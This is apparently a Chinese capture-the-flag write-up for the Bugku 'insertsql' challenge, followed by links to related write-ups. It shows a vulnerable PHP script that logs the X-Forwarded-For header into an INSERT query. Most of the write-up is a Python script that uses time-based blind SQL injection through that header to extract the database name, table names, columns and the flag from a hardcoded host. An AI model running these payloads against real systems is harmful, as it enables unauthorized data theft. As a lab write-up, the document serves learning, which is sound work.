题目链接

0X00题目给出的PHP代码

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0]; } $host="localhost";
$user="";
$pass="";
$db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //将得到的IP插入到数据库
mysql_query($sql);

0x01 insert sql漏洞

将消息插入数据库

一般出现地方:电商生成订单接口存在INSERT型SQL注入漏洞,可修改订单金额数据,生成订单时会往数据库插入数据,但此处使用了动态查询语句的方式进行插入,通过注入数据可以达到篡改订单数据的目的

本题注入点X_FORWARDED_FOR

0x02 Python 脚本:

 import requests
import sys
import string def getdblen(url): #获得库名长度
sql="1'+(select case when(select length(database())={0}) then sleep(4) else 1 end) and '1'='1"
for i in range(1,50):
header={'X-Forwarded-For':sql.format(str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("database name len:",i)
break def gettablelen(url): #获得数据表名长度 没有输出 不知道错误在哪 很烦~~,查不到错误。有没有limit 都没有输出
#limit的作用是查询到好几行数据,选取其中的几行 limit 1,1就是 第二行一行的数据(从0开始计算行数)
sql="'+(select case when(select length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}) then sleep(4) else 1 end) and '1'='1"
for n in range(0,5):
for i in range(1,20):
header={'X-Forwarded-For':sql.format(str(n),str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("table %s name len:%d"%(n,i))
break def getdb(url):
database_name=''
sql="1' and (case when (substr((select database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#逐个字母破解数据库名,{0}、{1}相当于标记了两处变量,用于下面的format语句
for i in range(1,10): #猜测数据库名字在9个字符以内
for str in range(32,129): #通过循环,逐个字母匹配
if chr==128:
sys.exit(0)#如果没有匹配,就退出循环
header={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
database_name+=chr(str)
print(database_name)
break
return database_name def gettable(url):
table_name=''
payload="'+(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(1,50):
#print(i)
for str in guess:
if ord(str)==128:
sys.exit(0)
header={'X-Forwarded-For':payload.format(i,str)}
try:
s=requests.get(url,headers=header,timeout=3)
except:
table_name+=str
print(table_name)
break
return table_name def getcolumn(url):
column_name=''
sql="'+(select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(20):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
column_name+=chr(str)
print(column_name)
break
return column_name def getmessage(url):
message=''
sql="'+(select case when(substr((select group_concat(flag) from flag)from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,35):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
message+=chr(str)
print(message)
break
return message if __name__=='__main__':
url="http://123.206.87.240:8002/web15/"
print(getdb(url))
#tablename = gettable(url)
#print(tablename)
#columname = getcolumn(url)
#message=getmessage(url) #print(temp.lower())
#getdblen(url)
#gettablelen(url)
#getdb(url)

代码借鉴了其他人的wp,并加上自己的一点想法,查询名长度等

总结:要加强写脚本的能力,多学习mysql语句,有好几个语句是因为不对才没有注入成功的。

bugku insertsql的更多相关文章

  1. bugku login2 writeup 不使用vps的方法

    0x00前言 这个题是sql注入与命令执行相结合的一个题,思路有两个: 一.:sql注入登录web系统,命令执行反弹公网IP监听端口(需要vps),此种方法详见链接:http://www.bugku. ...

  2. bugku 密码学一些题的wp

    ---恢复内容开始--- 1.滴答滴 摩斯密码,http://tool.bugku.com/mosi/ 2.聪明的小羊 从提示猜是栅栏密码,http://tool.bugku.com/jiemi/ 3 ...

  3. 于bugku中游荡意外得到关于CBC翻转攻击思路

    个人简介:渣渣一枚,萌新一个,会划水,会喊六六今天在bugku遇到关于CBC翻转攻击的题目,总结了一下关于CBC翻转攻击的原理,以及关于这道题目的解题思路个人博客:https://www.cnblog ...

  4. http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)

      这一道题目,幸好俺有基础知识护体,不然还真干不掉.     首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...

  5. http://www.bugku.com:Bugku——备份是个好习惯(http://120.24.86.145:8002/web16/)

      看了bugku的这道题,陌生又熟悉.     题目首先说[备份是个好习惯],访问网站只有一串字符,,,,,emmmmm,这句话表明人家经常做备份,所以咯,肯定在网站哪里备份有网页信息.嘻嘻   1 ...

  6. http://www.bugku.com:Bugku——jsfuckWEB5(http://120.24.86.145:8002/web5/index.php)

      今天又做了bugku上面的一道题.使用到了jsfuck,它是什么捏?   它是Javascript原子化的一种简易表达方式,用[]()!+就可以表示所有的Javascript字符,不依赖于浏览器. ...

  7. http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)

    Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...

  8. Bugku——Flag在index里(http://120.24.86.145:8005/post/)

    Bugku——Flag在index里(http://120.24.86.145:8005/post/) 进入题目发现有一个file参数,查看源码,发现该参数可以包含php文件,并且题目提示,flag在 ...

  9. BugKu 2B+基于python的opencv的安装-------CTF 盲水印的套路

    BugKu杂项-2B 下载图片后,binwalk下跑一跑,发现有个zip,分离. 值得一提的是,这个zip是伪加密的. 但是你在分离的时候,伪加密的图片也给你分离出来了.这两个图片2B和B2肉眼看起来 ...

随机推荐

  1. 杂项-FLAG

    题目 最低位隐写 50 4B 03 04 压缩格式zip的文件头 save bin 保存成zip格式 解压(WinRAR不能正常解压) 然后用vim打开(winhex也可以) hctf{dd0gf4c ...

  2. JUnit 4 和 TestNG

    JUnit 4和TestNG都是Java中非常受欢迎的单元测试框架.两种框架在功能上看起来非常相似.哪一个更好?在Java项目中应该使用哪个单元测试框架? 下面表中概括了JUnit 4和TestNG之 ...

  3. zz开源 MNN:淘宝在移动 AI 上的实践

    开源 MNN:淘宝在移动 AI 上的实践   陈以鎏(离青) 阅读数:40612019 年 6 月 28 日   随着深度学习的快速发展和端侧设备算力的不断提升,原本在云端执行的推理预测工作正在部分迁 ...

  4. Today's missions

    A software for recording events and tasks. You can add, delete and edit tasks anytime, anywhere, eas ...

  5. css网格布局

    先来一段基本布局 <!doctype html> <html> <head> <meta charset="utf-8"> < ...

  6. stm32环境搭建

    软件下载:https://pan.baidu.com/s/1rat9Vnm 第一部分:软件安装 1.点击安装mdk514.exe,一路next就可以了 2.使用管理员身份打开软件,点击File,进到l ...

  7. 阿里Sentinel控制台源码修改-对接Apollo规则持久化

    改造背景 前面我们讲解了如何对接Apollo来持久化限流的规则,对接后可以直接通过Apollo的后台进行规则的修改,推送到各个客户端实时生效. 但还有一个问题就是Sentinel控制台没有对接Apol ...

  8. PowerShell常用命令及美化(现代化的CMD)

    PowerShell可谓现代终端,是微软用来替代古老的CMD的. PowerShell拥有面向对象的思想,非常方便. 常用命令 下载文件(此处以install.ps1文件为例) $client = n ...

  9. 团队作业第五次—项目冲刺-Day4

    Day4 part1-SCRUM: 项目相关 作业相关 具体描述 所属班级 2019秋福大软件工程实践Z班 作业要求 团队作业第五次-项目冲刺 作业正文 hunter--冲刺集合 团队名称 hunte ...

  10. 509道Java面试题解析:2020年最新Java面试题

    <Java面试全解析>是我在 GitChat 发布的一门电子书,全书总共有 15 万字和 505 道 Java 面试题解析,目前来说应该是最实用和最全的 Java 面试题解析了. 我本人是 ...